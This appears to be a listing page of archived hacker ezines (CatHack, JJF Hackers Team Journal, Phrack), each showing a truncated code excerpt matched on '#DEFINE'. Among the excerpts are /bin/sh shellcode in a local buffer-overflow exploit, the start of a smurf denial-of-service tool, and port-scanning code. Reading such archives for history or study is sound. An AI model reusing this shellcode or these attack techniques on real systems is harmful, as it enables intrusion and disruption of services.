#DEFINE

CatHack Issue 5

eZine's profile picture
Published in 
 · 1 month ago
... ntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #ifdef LINUX #DEFINE __FAVOR_BSD /* should be __FAVOUR_BSD ;) */ #ifndef _USE_BSD #define _USE_BSD #endif #endif #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #ifdef LINUX #define FIX(n) htons(n) #else #define FIX(n) (n) #endif struct smurf_t { struct sockaddr_in sin; /* socket prot structure */ int s; /* socket */ int udp, icmp; /* icmp, udp booleans */ int rnd; /* Random dst port boolean */ int psize; /* pack ...

CatHack Issue 4

eZine's profile picture
Published in 
 · 1 month ago
... include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #DEFINE MAX_PORT 1024 /* scan up to this port */ int s; struct sockaddr_in addr; char rmt_host[100]; int skan(port) int port; { int r; s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { /* fprintf("ERROR: socket() failed\n"); */ /* Changed to printf for my Linux 1.1.18 box */ printf("ERROR: socket() failed\n"); exit(0); } addr.sin_family = PF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(rmt_host); r = connect(s,(struct sockaddr *) &addr, si ...

Leeto Phreako Headz Issue 5

eZine's profile picture
Published in 
 · 1 month ago
... nclude <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #DEFINE PORT 3 #define BACKLOG 1 //Port Tripwire BETA //made for BSD or any ipfw firewalled OS //by phractal int main() { //printf("PortScan Tripwire BETA by phractal \n"); int fd=socket(AF_INET,SOCK_STREAM,0); int fd2; struct sockaddr_in server; struct sockaddr_in client; int sin_size; server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr.s_addr = INADDR_ANY; bzero(&(server.sin_zero),8); bind(fd,(struct sockaddr*)&server,sizeof(struct socka ...

JJF Hackers Team Journal 7

eZine's profile picture
Published in 
 · 1 month ago
... /IP), fluent in C and C++, and working on becoming a * proficient Windows programmer. * */ #include <stdio.h> #include <string.h> #DEFINE BUFFER 30 int DecodeCharOne(unsigned char *); int DecodeCharTwo(unsigned char *); int DecodeCharThree(unsigned char *); int DecodeCharFour(unsigned char *); int DecodeCharFive(unsigned char *); int DecodeCharSix(unsigned char *); int DecodeCharSeven(unsigned char *); int DecodeCharEight(unsigned char *); main() { int i; /* Generic counter */ int eocc = 0; /* Records if there has been an error */ /* The following structure stores the encoded bytes. Decoded values * replace th ...

JJF Hackers Team Journal 6

eZine's profile picture
Published in 
 · 1 month ago
... ---------------------- #include "getresponse.h" #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #DEFINE private private_hack extern "C" { #include <sio.h> #include <sct0.h> #include <sc.h> } #undef private int timeout; SIO_INFO* si; Byte selectfile[] = { 0xa0, 0xa4, 0x00, 0x00, 0x02 }; Byte gsm_file[] = { 0x7f, 0x20 }; Byte gsm2_file[] = { 0x7f, 0x21 }; Byte get_res[] = { 0xa0, 0xc0, 0x00, 0x00, 0x00 }; Byte verify_pin[] = { 0xa0, 0x20, 0x00, 0x01, 0x08 }; Byte generate_sres[] = { 0xa0, 0x88, 0x00, 0x00, 0x10 }; void init_card(char* devicename, Byte pin[8]) { Byte buffer[32]; in ...

JJF Hackers Team Journal 5

eZine's profile picture
Published in 
 · 1 month ago
... xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #DEFINE bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); system("clear"); printf("______________________________________________________________\n"); printf("| RSH Overflow -- (c) shit-head 1997\n"); printf("| Give props to Solar Designer for his su overflow, this is based on that.\ ...

JJF Hackers Team Journal 3

eZine's profile picture
Published in 
 · 1 month ago
... include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #DEFINE MAX_PORT 1024 /* scan up to this port */ int s; struct sockaddr_in addr; char rmt_host[100]; int skan(port) int port; { int r; s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { /* fprintf("ERROR: socket() failed\n"); */ /* Changed to printf for my Linux 1.1.18 box */ printf("ERROR: socket() failed\n"); exit(0); } addr.sin_family = PF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(rmt_host); r = connect(s,(struct sockaddr *) &addr, si ...

JJF Hackers Team Journal 1

eZine's profile picture
Published in 
 · 1 month ago
... guiente ejemplo lv_size es el tama¤o de la variable local que queremos desbordar y buffer es el nombre del campo de datos (que tambien es local). ej. #DEFINE lv_size=1024 char buffer[lv_size+8] A¤adimos exactamente 8 bytes, mira mas detenidamente la pila de arriba y sabras por que. Si queremos sobreescribir la direccion de retorno tenemos que sobreescribir 4 bytes el puntero base y 4 bytes la direccion de retorno. El campo de datos buffer deberia aparecer asi: ... <nop> <nop> <nop> <nop> <nop> <codigo que ejecuta una shell> Analiza este codigo en c para aprender como podemos hacer esto, lv_size es una abreviatura ...

Phrack Inc. Volume 16 Issue 71 File 03

eZine's profile picture
Published in 
 · 1 month ago
... set of #ifdef, making different (randomly picked) parts of the source to be included in the build process. The compiler allowed me to set appropriate #DEFINE before I start the compilation, but when it comes to the randomization of code, it can be done with pure preprocessor directives as well [2] if anyone prefers it. Of course, randomized parts cannot change the application behavior and their execution should not matter. After analyzing different functions to be randomly imported I found SNMP and Bcrypt DLLs most convenient. Both look suspicious enough to dig deeper but when called in a right way they do nothing except returning an error I can saf ...

Phrack Inc. Volume 16 Issue 70 File 11

eZine's profile picture
Published in 
 · 1 month ago
... ST_INSERT_HEAD(&change_head, mevp, me_list); . . . } struct mevent { void (*me_func)(int, enum ev_type, void *); . . . LIST_ENTRY(mevent) me_list; }; #DEFINE LIST_ENTRY(type) \ struct { \ struct type *le_next; /* next element */ \ struct type **le_prev; /* address of previous next element */ \ } Similarly, writing a value 0xa1 (BHYVE_ACPI_DISABLE) will trigger a call to mevent_delete() in mevent.c. mevent_delete() unlinks the event from the list using LIST_REMOVE() and marks it for deletion by mevent thread: static int mevent_delete_event(struct mevent *evp, int closefd) { . . . LIST_REMOVE(evp, me_list); . . . } #define LIST_NEXT(el ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT